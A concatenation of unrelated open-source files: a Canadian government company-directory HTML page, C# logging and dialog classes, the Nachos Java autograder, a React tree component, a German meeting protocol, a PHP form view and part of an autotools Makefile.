Product Name: </strong> </div> <div class="col-md-9"> PREFABRICATED AND PORTABLE BUILDINGS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PREFABRICATED STRUCTURES - MISC. <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> PRESSURE, TEMPERATURE, AND HUMIDITY MEASURING AND <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> REELS AND SPOOLS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> RIVETS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> ROTARY JOINTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> STORAGE TANKS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> STRUCTURAL SHAPES, IRON AND STEEL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> STRUCTURAL SHAPES, NONFERROUS BASE METAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> SWITCHES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TOOL AND HARDWARE BOXES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TRAILERS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TRUCK AND TRACTOR ATTACHMENTS <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> TRUCKS AND TRUCK TRACTORS, WHEELED <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Product Name: </strong> </div> <div class="col-md-9"> WIRE AND CABLE, ELECTRICAL <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> AIR FREIGHT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> ASSEMBLY AND ERECTION OF PREFABRICATED CONSTRUCTIO <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> ENGINEERING DRAFTING SERVICES <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> MAINTENANCE, REPAIR, MODIFICATION, REBUILDING AND <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> Service Name: </strong> </div> <div class="col-md-9"> VESSEL FREIGHT <br> </div> </div> <div class="row mrgn-bttm-md"> <div class="col-md-3"> <strong> FSC Code: </strong> </div> <div class="col-md-9"> 2320-Trucks and Truck Tractors, Wheeled <br> 2330-Trailers <br> 2590-Miscellaneous Vehicular Components <br> 2815-Diesel Engines and Components <br> 2910-Engine Fuel System Components, Nonaircraft <br> 2920-Engine Electrical System Components, Nonaircraft <br> 2930-Engine Cooling System Components, Nonaircraft <br> 2940-Engine Air and Oil Filters, Strainers, and Cleaners, Nonaircraft <br> 3020-Gears, Pulleys, Sprockets, and Transmission Chain <br> 3030-Belting, Drive Belts, Fan Belts, and Accessories <br> 3110-Bearings, Antifriction, Unmounted <br> 3120-Bearings, Plain, Unmounted <br> 3130-Bearings, Mounted <br> 3432-Electric Resistance Welding Equipment <br> 3442-Hydraulic and Pneumatic Presses, Power Driven <br> 3830-Truck and Tractor Attachments <br> 3940-Blocks, Tackle, Rigging, and Slings <br> 4140-Fans, Air Circulators, and Blower Equipment <br> 4710-Pipes and Tubes, Rigid <br> 4720-Hose and Tubing, Flexible <br> 4730-Fittings and Specialities: Hose, Pipe and Tube <br> 5140-Tool and Hardware Boxes <br> 5306-Bolts <br> 5320-Rivets <br> 5360-Coil, Flat, and Wire Springs <br> 5410-Prefabricated and Portable Buildings <br> 5430-Storage Tanks <br> 5450-PREFABRICATED STRUCTURES - MISC. <br> 5670-Building Components, Prefabricated <br> 5925-Circuit Breakers <br> 5930-Switches <br> 5935-Connectors, Electrical <br> 5975-Electrical Hardware and Supplies <br> 5998-Electrical and Electronic Assemblies; Boards, Cards, and Associated Hardware <br> 5999-Miscellaneous Electrical and Electronic Components <br> 6004-Rotary Joints <br> 6005-Couplers, Splitters, and Mixers <br> 6007-Filters <br> 6010-Fiber Optic Conductors <br> 6015-Fiber Optic Cables <br> 6020-Fiber Optic Cable Assemblies and Harnesses <br> 6025-Fiber Optic Transmitters <br> 6026-Fiber Optic Receivers <br> 6030-Fiber Optic Devices <br> 6034-Fiber Optic Modulators/Demodulators <br> 6040-Fiber Optic Sensors <br> 6060-Fiber Optic Interconnectors <br> 6070-Fiber Optic Accessories and Supplies <br> 6080-Fiber Optic Kits and Sets <br> 6110-Electrical Control Equipment <br> 6130-Converters, Electrical, Nonrotating <br> 6145-Wire and Cable, Electrical <br> 6220-Electric Vehicular Lights and Fixtures <br> 6230-Electric Portable and Hand Lighting Equipment <br> 6620-Engine Instruments <br> 6625-Electrical and Electronic Properties Measuring and Testing Instruments <br> 6680-Liquid and Gas Flow, Liquid Level, and Mechanical Motion Measuring Instruments <br> 6685-Pressure, Temperature, and Humidity Measuring and Controlling Instruments <br> 7650-Drawings and Specifications <br> 8130-Reels and Spools <br> 8465-Individual Equipment <br> 9330-Plastics Fabricated Materials <br> 9390-Miscellaneous Fabricated Nonmetallic Materials <br> 9510-Bars and Rods, Iron and Steel <br> 9515-Plate, Sheet, Strip and Foil; Iron and Steel <br> 9520-Structural Shapes, Iron and Steel <br> 9530-Bars and Rods Nonferrous Base Metal <br> 9535-Plate, Sheet, Strip, and Foil: Nonferrous Base Metal <br> 9540-Structural Shapes, Nonferrous Base Metal <br> C212-Engineering Drafting Services <br> J000-Maintenance, Repair, Modification, Rebuilding and Installation of Goods/Equipment <br> V100-Vessel Freight <br> V200-Air Freight <br> Y514-Assembly and erection of prefabricated constructions <br> </div> </div> </section> </details> </div> </div> <div class="row"> <div class="col-md-12 text-right"> Last Update Date 2014-09-29 </div> </div> <!-- - Artifact ID: CBW - IMBS - CCC Search WAR - Group ID: ca.gc.ic.strategis.imbs.ccc.search - Version: 3.26 - Built-By: bamboo - Build Timestamp: 2017-03-02T21:29:28Z --> <!-- End Body Content --> <!-- Begin Body Foot --> <!-- End Body Foot --> <!-- END MAIN TABLE --> <!-- End body --> <!-- Begin footer --> <div class="row pagedetails"> <div class="col-sm-5 col-xs-12 datemod"> <dl id="wb-dtmd"> <dt class=" hidden-print">Date Modified:</dt> <dd class=" hidden-print"> <span><time>2017-03-02</time></span> </dd> </dl> </div> <div class="clear visible-xs"></div> <div class="col-sm-4 col-xs-6"> </div> <div class="col-sm-3 col-xs-6 text-right"> </div> <div class="clear visible-xs"></div> </div> </main> <footer role="contentinfo" id="wb-info"> <nav role="navigation" class="container wb-navcurr"> <h2 class="wb-inv">About government</h2> <!-- EPIC FOOTER BEGIN --> <!-- EPI-11638 Contact us --> <ul class="list-unstyled colcount-sm-2 colcount-md-3"> <li><a href="http://www.ic.gc.ca/eic/site/icgc.nsf/eng/h_07026.html#pageid=E048-H00000&amp;from=Industries">Contact us</a></li> <li><a href="https://www.canada.ca/en/government/dept.html">Departments and agencies</a></li> <li><a href="https://www.canada.ca/en/government/publicservice.html">Public service and military</a></li> <li><a href="https://www.canada.ca/en/news.html">News</a></li> <li><a href="https://www.canada.ca/en/government/system/laws.html">Treaties, laws and regulations</a></li> <li><a href="https://www.canada.ca/en/transparency/reporting.html">Government-wide reporting</a></li> <li><a href="http://pm.gc.ca/eng">Prime Minister</a></li> <li><a href="https://www.canada.ca/en/government/system.html">How government works</a></li> <li><a href="http://open.canada.ca/en/">Open government</a></li> </ul> </nav> <div class="brand"> <div class="container"> <div class="row"> <nav class="col-md-10 ftr-urlt-lnk"> <h2 class="wb-inv">About this site</h2> <ul> <li><a href="https://www.canada.ca/en/social.html">Social media</a></li> <li><a href="https://www.canada.ca/en/mobile.html">Mobile applications</a></li> <li><a href="http://www1.canada.ca/en/newsite.html">About Canada.ca</a></li> <li><a href="http://www.ic.gc.ca/eic/site/icgc.nsf/eng/h_07033.html">Terms and conditions</a></li> <li><a href="http://www.ic.gc.ca/eic/site/icgc.nsf/eng/h_07033.html#p1">Privacy</a></li> </ul> </nav> <div class="col-xs-6 visible-sm visible-xs tofpg"> <a href="#wb-cont">Top of Page <span class="glyphicon glyphicon-chevron-up"></span></a> </div> <div class="col-xs-6 col-md-2 text-right"> <object type="image/svg+xml" tabindex="-1" role="img" data="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/assets/wmms-blk.svg" aria-label="Symbol of the Government of Canada"></object> </div> </div> </div> </div> </footer> <!--[if gte IE 9 | !IE ]><!--> <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/wet-boew.min.js"></script> <!--<![endif]--> <!--[if lt IE 9]> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/ie8-wet-boew2.min.js"></script> <![endif]--> <script src="/utils/scripts/_WET_4-0/apps/themes-dist/gcweb/js/theme.min.js"></script> <!-- EPI-10519 --> <span class="wb-sessto" data-wb-sessto='{"inactivity": 1800000, "reactionTime": 180000, "sessionalive": 1800000, "logouturl": "/app/ccc/srch/cccSrch.do?lang=eng&prtl=1"}'></span> <script src="/eic/home.nsf/js/jQuery.externalOpensInNewWindow.js"></script> <!-- EPI-11190 - Webtrends --> <script src="/eic/home.nsf/js/webtrends.js"></script> <script>var endTime = new Date();</script> <noscript> <div><img alt="" id="DCSIMG" width="1" height="1" src="//wt-sdc.ic.gc.ca/dcs6v67hwe0ei7wsv8g9fv50d_3k6i/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=9.4.0&amp;dcssip=www.ic.gc.ca"/></div> </noscript> <!-- /Webtrends --> <!-- JS deps --> <script src="/eic/home.nsf/js/jquery.imagesloaded.js"></script> <!-- EPI-11262 - Util JS --> <script src="/eic/home.nsf/js/_WET_4-0_utils_canada.min.js"></script> <!-- EPI-11383 --> <script src="/eic/home.nsf/js/jQuery.icValidationErrors.js"></script> <span style="display:none;" id='app-info' data-project-groupid='' data-project-artifactid='' data-project-version='' data-project-build-timestamp='' data-issue-tracking='' data-scm-sha1='' data-scm-sha1-abbrev='' data-scm-branch='' data-scm-commit-date=''></span> </body></html> <!-- End Footer --> <!-- - Artifact ID: CBW - IMBS - CCC Search WAR - Group ID: ca.gc.ic.strategis.imbs.ccc.search - Version: 3.26 - Built-By: bamboo - Build Timestamp: 2017-03-02T21:29:28Z -->
GoC-Spending/data-corporations
html/234567042498.html
HTML
mit
257,192
using System; using System.Collections.Generic; using System.Linq; using MetroLog.Internal; namespace MetroLog.Layouts { public class PatternLayout : Layout { private static class Placeholders { public const string SequenceId = "%sequenceid"; public const string Timestamp = "%timestamp"; public const string Level = "%level"; public const string ThreadId = "%thread"; public const string Logger = "%logger"; public const string Message = "%message"; public const string Exception = "%exception"; public const string NewLine = "%newline"; public static IEnumerable<string> All { get { yield return SequenceId; yield return Timestamp; yield return Level; yield return ThreadId; yield return Logger; yield return Message; yield return Exception; yield return NewLine; } } } private const string DefaultPattern = "%sequenceid; %timestamp; %level; %logger; %message; %exception[EOL]"; private readonly IList<IPatternExtension> patternExtensions = new List<IPatternExtension>(); private string pattern; public PatternLayout() : this(DefaultPattern) { } public PatternLayout(string pattern) { this.Pattern = pattern ?? DefaultPattern; this.AddPatternExtension(new SequenceIdPatternExtension()); } private class SequenceIdPatternExtension : IPatternExtension { private LogEventInfo logEventInfo; public string Placeholder { get { return "%sequenceid"; } } public string GetValue() { return this.logEventInfo.SequenceID.ToString(); } public void SetLogEventInfo(LogEventInfo logEventInfo) { this.logEventInfo = logEventInfo; } } public string Pattern { get { return this.pattern; } set { this.pattern = value; } } public void AddPatternExtension(IPatternExtension patternExtension) { if (Placeholders.All.Contains(patternExtension.Placeholder) || this.patternExtensions.Contains(patternExtension)) // Eventually remove this check? /// Contains should make sure that equals is implemented!! { InternalLogger.Current.Warn("PatternLayout cannot add placeholder [" + patternExtension.Placeholder + "] because this is a reserved key."); } else { this.patternExtensions.Add(patternExtension); } } public override string GetFormattedString(LogWriteContext context, LogEventInfo logEventInfo) { var value = this.Pattern; value = value.Replace(Placeholders.SequenceId, logEventInfo.SequenceID.ToString()); value = value.Replace(Placeholders.Timestamp, logEventInfo.TimeStamp.LocalDateTime.ToString(LogManagerBase.DateTimeFormat)); value = value.Replace(Placeholders.Level, logEventInfo.Level.ToString()); value = value.Replace(Placeholders.ThreadId, Environment.CurrentManagedThreadId.ToString()); value = value.Replace(Placeholders.Logger, logEventInfo.Logger); value = value.Replace(Placeholders.Message, logEventInfo.Message); value = value.Replace(Placeholders.Exception, logEventInfo.Exception != null ? logEventInfo.Exception.ToString() : string.Empty); value = value.Replace(Placeholders.NewLine, Environment.NewLine); foreach (var patternExtension in this.patternExtensions) { patternExtension.SetLogEventInfo(logEventInfo); value = value.Replace(patternExtension.Placeholder, patternExtension.GetValue()); } return value; } } }
thomasgalliker/MetroLog
MetroLog/Layouts/PatternLayout.cs
C#
mit
4,343
using System; using System.Diagnostics.Contracts; namespace starshipxac.Windows.Shell.Dialogs.Controls { /// <summary> /// Define the control base class of the file dialog. /// </summary> public abstract class FileDialogControl : IEquatable<FileDialogControl> { public static readonly int MinDialogControlId = 16; private static int nextId = MinDialogControlId; /// <summary> /// Initialize a new instance of the <see cref="FileDialogControl" /> class /// to the specified control name. /// </summary> /// <param name="name">コントロール名。</param> protected FileDialogControl(string name) { Contract.Requires<ArgumentNullException>(name != null); this.Id = GetNextId(); this.Name = name; } public FileDialogBase Dialog { get; private set; } /// <summary> /// Get the control name. /// </summary> public string Name { get; } /// <summary> /// Get the control ID. /// </summary> public int Id { get; } /// <summary> /// Get or set a value that determines whether the control is valid. /// </summary> public bool Enabled { get { ThrowIfNotInitialized(); return this.Dialog.GetControlEnabled(this); } set { ThrowIfNotInitialized(); this.Dialog?.SetControlEnabled(this, value); } } /// <summary> /// Get or set a value that determines whether to display the control. /// </summary> public bool Visible { get { ThrowIfNotInitialized(); return this.Dialog.GetControlVisible(this); } set { ThrowIfNotInitialized(); this.Dialog?.SetControlVisible(this, value); } } /// <summary> /// Get or set the control text. /// </summary> public abstract string Text { get; set; } /// <summary> /// Get the next control ID. /// </summary> /// <returns>Control ID.</returns> private static int GetNextId() { var result = nextId; if (nextId == Int32.MaxValue) { nextId = Int32.MinValue; } else { nextId += 1; } return result; } internal virtual void Attach(FileDialogBase dialog) { Contract.Requires<ArgumentNullException>(dialog != null); this.Dialog = dialog; } internal virtual void Detach() { Contract.Requires<InvalidOperationException>(this.Dialog != null); this.Dialog = null; } protected void ThrowIfNotInitialized() { if (this.Dialog == null) { throw new InvalidOperationException(); } } public static bool operator ==(FileDialogControl left, FileDialogControl right) { return Equals(left, right); } public static bool operator !=(FileDialogControl left, FileDialogControl right) { return !Equals(left, right); } public bool Equals(FileDialogControl other) { if (ReferenceEquals(null, other)) { return false; } if (ReferenceEquals(this, other)) { return true; } return this.Id == other.Id; } public override bool Equals(object obj) { if (ReferenceEquals(null, obj)) { return false; } if (ReferenceEquals(this, obj)) { return true; } if (this.GetType() != obj.GetType()) { return false; } return Equals((FileDialogControl)obj); } public override int GetHashCode() { return this.Id.GetHashCode(); } public override string ToString() { return $"FileDialogControl[Name={this.Name}, Id={this.Id}]"; } } }
starshipxac/starshipxac.ShellLibrary
Source/starshipxac.Windows.Shell/Dialogs/Controls/FileDialogControl.cs
C#
mit
4,668
// PART OF THE MACHINE SIMULATION. DO NOT CHANGE. package nachos.ag; import nachos.machine.*; import nachos.security.*; import nachos.threads.*; import java.util.Hashtable; import java.util.StringTokenizer; /** * The default autograder. Loads the kernel, and then tests it using * <tt>Kernel.selfTest()</tt>. */ public class AutoGrader { /** * Allocate a new autograder. */ public AutoGrader () { } /** * Start this autograder. Extract the <tt>-#</tt> arguments, call * <tt>init()</tt>, load and initialize the kernel, and call <tt>run()</tt>. * * @param privilege * encapsulates privileged access to the Nachos machine. */ public void start (Privilege privilege) { Lib.assertTrue(this.privilege == null, "start() called multiple times"); this.privilege = privilege; String[] args = Machine.getCommandLineArguments(); extractArguments(args); System.out.print(" grader"); init(); System.out.print("\n"); kernel = (Kernel)Lib.constructObject(Config.getString("Kernel.kernel")); kernel.initialize(args); run(); } private void extractArguments (String[] args) { String testArgsString = Config.getString("AutoGrader.testArgs"); if (testArgsString == null) { testArgsString = ""; } for (int i = 0; i < args.length;) { String arg = args[i++]; if (arg.length() > 0 && arg.charAt(0) == '-') { if (arg.equals("-#")) { Lib.assertTrue(i < args.length, "-# switch missing argument"); testArgsString = args[i++]; } } } StringTokenizer st = new StringTokenizer(testArgsString, ",\n\t\f\r"); while (st.hasMoreTokens()) { StringTokenizer pair = new StringTokenizer(st.nextToken(), "="); Lib.assertTrue(pair.hasMoreTokens(), "test argument missing key"); String key = pair.nextToken(); Lib.assertTrue(pair.hasMoreTokens(), "test argument missing value"); String value = pair.nextToken(); testArgs.put(key, value); } } String getStringArgument (String key) { String value = (String)testArgs.get(key); Lib.assertTrue(value != null, "getStringArgument(" + key + ") failed to find key"); return value; } int getIntegerArgument (String key) { try { return Integer.parseInt(getStringArgument(key)); } catch (NumberFormatException e) { Lib.assertNotReached("getIntegerArgument(" + key + ") failed: " + "value is not an integer"); return 0; } } boolean getBooleanArgument (String key) { String value = getStringArgument(key); if (value.equals("1") || value.toLowerCase().equals("true")) { return true; } else if (value.equals("0") || value.toLowerCase().equals("false")) { return false; } else { Lib.assertNotReached("getBooleanArgument(" + key + ") failed: " + "value is not a boolean"); return false; } } long getTime () { return privilege.stats.totalTicks; } void targetLevel (int targetLevel) { this.targetLevel = targetLevel; } void level (int level) { this.level++; Lib.assertTrue(level == this.level, "level() advanced more than one step: test jumped ahead"); if (level == targetLevel) done(); } private int level = 0, targetLevel = 0; void done () { System.out.print("\nsuccess\n"); privilege.exit(162); } private Hashtable<String, String> testArgs = new Hashtable<String, String>(); void init () { } void run () { kernel.selfTest(); kernel.run(); kernel.terminate(); } Privilege privilege = null; Kernel kernel; /** * Notify the autograder that the specified thread is the idle thread. * <tt>KThread.createIdleThread()</tt> <i>must</i> call this method before * forking the idle thread. * * @param idleThread * the idle thread. */ public void setIdleThread (KThread idleThread) { } /** * Notify the autograder that the specified thread has moved to the ready * state. <tt>KThread.ready()</tt> <i>must</i> call this method before * returning. * * @param thread * the thread that has been added to the ready set. */ public void readyThread (KThread thread) { } /** * Notify the autograder that the specified thread is now running. * <tt>KThread.restoreState()</tt> <i>must</i> call this method before * returning. * * @param thread * the thread that is now running. */ public void runningThread (KThread thread) { privilege.tcb.associateThread(thread); currentThread = thread; } /** * Notify the autograder that the current thread has finished. * <tt>KThread.finish()</tt> <i>must</i> call this method before putting the * thread to sleep and scheduling its TCB to be destroyed. */ public void finishingCurrentThread () { privilege.tcb.authorizeDestroy(currentThread); } /** * Notify the autograder that a timer interrupt occurred and was handled by * software if a timer interrupt handler was installed. Called by the hardware * timer. * * @param privilege * proves the authenticity of this call. * @param time * the actual time at which the timer interrupt was issued. */ public void timerInterrupt (Privilege privilege, long time) { Lib.assertTrue(privilege == this.privilege, "security violation"); } /** * Notify the autograder that a user program executed a syscall instruction. * * @param privilege * proves the authenticity of this call. * @return <tt>true</tt> if the kernel exception handler should be called. */ public boolean exceptionHandler (Privilege privilege) { Lib.assertTrue(privilege == this.privilege, "security violation"); return true; } /** * Notify the autograder that <tt>Processor.run()</tt> was invoked. This can * be used to simulate user programs. * * @param privilege * proves the authenticity of this call. */ public void runProcessor (Privilege privilege) { Lib.assertTrue(privilege == this.privilege, "security violation"); } /** * Notify the autograder that a COFF loader is being constructed for the * specified file. The autograder can use this to provide its own COFF loader, * or return <tt>null</tt> to use the default loader. * * @param file * the executable file being loaded. * @return a loader to use in loading the file, or <tt>null</tt> to use the * default. */ public Coff createLoader (OpenFile file) { return null; } /** * Request permission to send a packet. The autograder can use this to drop * packets very selectively. * * @param privilege * proves the authenticity of this call. * @return <tt>true</tt> if the packet should be sent. */ public boolean canSendPacket (Privilege privilege) { Lib.assertTrue(privilege == this.privilege, "security violation"); return true; } /** * Request permission to receive a packet. The autograder can use this to drop * packets very selectively. * * @param privilege * proves the authenticity of this call. * @return <tt>true</tt> if the packet should be delivered to the kernel. */ public boolean canReceivePacket (Privilege privilege) { Lib.assertTrue(privilege == this.privilege, "security violation"); return true; } boolean hasArgument (String key) { return testArgs.get(key) != null; } private KThread currentThread; }
w1ndy/tripping-dangerzone
nachos/ag/AutoGrader.java
Java
mit
7,819
using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Linq.Expressions; using Dufry.Comissoes.Application.Interfaces; using Dufry.Comissoes.Data.Context; using Dufry.Comissoes.Domain.Entities; using Dufry.Comissoes.Domain.Interfaces.Service; using Dufry.Comissoes.Domain.Validation; namespace Dufry.Comissoes.Application { public class ColaboradorAppService : AppService<BIVendasContext>, IColaboradorAppService { private readonly IColaboradorService _service; public ColaboradorAppService(IColaboradorService ColaboradorService) { _service = ColaboradorService; } public ValidationResult Create(Colaborador Colaborador) { BeginTransaction(); ValidationResult.Add(_service.Add(Colaborador)); if (ValidationResult.IsValid) Commit(); return ValidationResult; } public ValidationResult Update(Colaborador Colaborador) { BeginTransaction(); ValidationResult.Add(_service.Update(Colaborador)); if (ValidationResult.IsValid) Commit(); return ValidationResult; } public ValidationResult Remove(Colaborador Colaborador) { BeginTransaction(); ValidationResult.Add(_service.Delete(Colaborador)); if (ValidationResult.IsValid) Commit(); return ValidationResult; } public Colaborador Get(int id, bool @readonly = false) { return _service.Get(id, @readonly); } public IEnumerable<Colaborador> All(bool @readonly = false) { return _service.All(@readonly); } public IEnumerable<Colaborador> Find(Expression<Func<Colaborador, bool>> predicate, bool @readonly = false) { return _service.Find(predicate, @readonly); } public IEnumerable<KeyValuePair<string, string>> All_ID_COMPOSTO() { return _service.All_ID_COMPOSTO(); } public IEnumerable<dynamic> All_ID() { return _service.All_ID(); } public IEnumerable<dynamic> GET_ID(string CodigoEmpresaAlternate, string CodigoFilialAlternate, string CodigoSecundario) { return _service.GET_ID(CodigoEmpresaAlternate, CodigoFilialAlternate, CodigoSecundario); } public void Dispose() { GC.SuppressFinalize(this); } } }
robertohermes/Comissoes
Dufry.Comissoes.Application/ColaboradorAppService.cs
C#
mit
2,563
import React, {Component, PropTypes} from 'react'; import {Tree, Menu, Icon} from 'antd'; const TreeNode = Tree.TreeNode; import Animate from 'rc-animate'; import './OrganizationTreeComponent.scss'; export default class OrganizationTreeComponent extends Component { static PropTypes = { checkable: PropTypes.bool, orgs: PropTypes.array, checkedKeys: PropTypes.array, setCheckedKeys: PropTypes.func, setParentId: PropTypes.func, } static defaultProps = { checkedKeys: [] }; constructor(props) { super(props); } onCheck = (checkedKeys, info) => { const setCheckedKeys = this.props.setCheckedKeys; if(setCheckedKeys) { setCheckedKeys(checkedKeys); } } onSelect = (selectedKeys, info) => { const setParentId = this.props.setParentId; if(setParentId) { const parentId = selectedKeys[0]; setParentId(parentId); } } genTreeNodes(orgs) { return orgs.map((org) => { if(org.children && org.children.length) { return( <TreeNode key={org.id} title={org.organizationName}> { this.genTreeNodes(org.children) } </TreeNode> ); } else { return( <TreeNode key={org.id} title={org.organizationName} /> ); } }); } render() { const orgs = this.props.orgs; const checkedKeys = this.props.checkedKeys; return( <Tree className='orgTree' showLine defaultExpandAll defaultCheckedKeys={checkedKeys} checkable={this.props.checkable} onSelect={this.onSelect} onCheck={this.onCheck}> { orgs ? this.genTreeNodes(orgs) : ''} </Tree> ); } }
DimitriZhao/sinosteel
client/framework-webclient/src/routes/System/components/OrganizationTreeComponent.js
JavaScript
mit
1,582
# **Teammeeting** 26.04.17 von 8:30 bis 9:30 Teilnehmer: Rene, Jonas, Stephan, Matthis, Dennis **Themen:** * Signale: Jeder Modulverantwortliche trägt die Liste der Signale ins RDD ein und erstellt Sequenzdiagramme für die Kommunikation des Moduls. (bis zum eingetragenen Milestone des Moduls) * Logging: logger liegt in github und sollte funktionsfähig sein, ist aber noch nicht getestet, allerdings noch nicht getestet macht jeder für sich, weil der logger überall benutzt wird. * Zeiteinschätzung der Arbeitspaketen muss vorgenommen und eingetragen werden, ein Diagramm vorerst nicht. * Factory-Pattern wird verschoben * RDD: nach Änderungen ist stets die aktuelle Version als PDF hochzuladen * Protokolle: werden ab jetz in markdown verfasst * **Auf den devel-Branch nur kompilierbares hochladen!!!** **Status des Projektfortschritts:** * HAL der Sensorik wird verschoben. * Light-System: Status: main-controller steht, keine Kommunikation bisher * Height-sensor: Modellierung steht es kann zur Implementierung übergegangen werden. * Serial: Arbeitspakete müssen noch eingeteilt werden * Interrupts: Arbeitspakete müssen noch eingeteilt werden * Testsuite: unbekannnt
ReneHerthel/ConveyorBelt
doc/protocols/26.04.17.md
Markdown
mit
1,222
<link rel="stylesheet" href="<?php echo baseUrl ?>assets/bower/trumbowyg/dist/ui/trumbowyg.min.css"> <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery-maskmoney/3.0.2/jquery.maskMoney.min.js"></script> <script src="<?php echo baseUrl ?>assets/bower/trumbowyg/dist/trumbowyg.min.js"></script> <div id="panel" class="panel panel-primary"> <div class="panel-heading" style="background-color: red"> <h3 class="panel-title text-muted"><i class="fa fa-university fa-2x"></i> INGRESAR PROBLEMATICA</h3> </div> <br> <div class="panel-body"> <form action="<?php echo baseUrlRole() ?>centrosSolicitudesAdmin/<?php echo $problema->id_solicitud_ubch ?>" method="POST"> <?php echo Token() ?> <div class="row"> <div class="col-lg-4"> <div class="form-group"> <select id="municipioSelect" class="form-control" name="tipo"/> <?php if ($problema->tipo): ?> <option value="<?php echo $problema->tipo->id_tipo_solicitud ?>"><?php echo $problema->tipo->nombre ?></option> <?php else: ?> <option>TIPO DE SOLICITUD</option> <?php foreach ($tipo as $key => $t): ?> <option value="<?php echo $t->id_tipo_solicitud ?>"><?php echo $t->nombre ?></option> <?php endforeach ?> <?php endif ?> </select> </div> </div> <div class="col-lg-4"> <div class="form-group"> <select id="municipioSelect" class="form-control" name="estatus" required/> <?php if ($problema->estatus==1): ?> <option value="1">Resuelto</option> <?php else: ?> <option value="0">En Estudio</option> <option value="1">Resuelto</option> <?php endif ?> </select> </div> </div> </div> <textarea name="observacion" class="editor"> <?php echo $problema->observaciones ?> </textarea> <div class="col-lg-12"> <button onclick="enviar()" id="botonSubmit" type="submit" class="btn btn-lg btn-danger pull-right"><i class="fa fa-save fa-2x"></i></button> </div> <br> </form> </div> <script> $('.editor').trumbowyg({ lang: 'es' }); </script>
dexternidia/redcomand
app/admin/views/centrosSolicitudesAdmin/edit.php
PHP
mit
2,343
# Makefile.in generated by automake 1.11 from Makefile.am. # tests/reports/Makefile. Generated from Makefile.in by configure. # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, # 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, # Inc. # This Makefile.in is free software; the Free Software Foundation # gives unlimited permission to copy and/or distribute it, # with or without modifications, as long as this notice is preserved. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY, to the extent permitted by law; without # even the implied warranty of MERCHANTABILITY or FITNESS FOR A # PARTICULAR PURPOSE. pkgdatadir = $(datadir)/libxslt pkgincludedir = $(includedir)/libxslt pkglibdir = $(libdir)/libxslt pkglibexecdir = $(libexecdir)/libxslt am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd install_sh_DATA = $(install_sh) -c -m 644 install_sh_PROGRAM = $(install_sh) -c install_sh_SCRIPT = $(install_sh) -c INSTALL_HEADER = $(INSTALL_DATA) transform = $(program_transform_name) NORMAL_INSTALL = : PRE_INSTALL = : POST_INSTALL = : NORMAL_UNINSTALL = : PRE_UNINSTALL = : POST_UNINSTALL = : build_triplet = i386-apple-darwin13.1.0 host_triplet = i386-apple-darwin13.1.0 subdir = tests/reports DIST_COMMON = $(srcdir)/Makefile.am $(srcdir)/Makefile.in ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 am__aclocal_m4_deps = $(top_srcdir)/configure.in am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ $(ACLOCAL_M4) mkinstalldirs = $(install_sh) -d CONFIG_HEADER = $(top_builddir)/config.h CONFIG_CLEAN_FILES = CONFIG_CLEAN_VPATH_FILES = SOURCES = DIST_SOURCES = DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST) ACLOCAL = ${SHELL} /Users/alex/Projects/apcomplete/devise_security_questions/vendor/ruby/gems/nokogiri-1.6.1/ext/nokogiri/tmp/x86_64-apple-darwin13.1.0/ports/libxslt/1.1.26/libxslt-1.1.26/missing --run aclocal-1.11 AMTAR = ${SHELL} 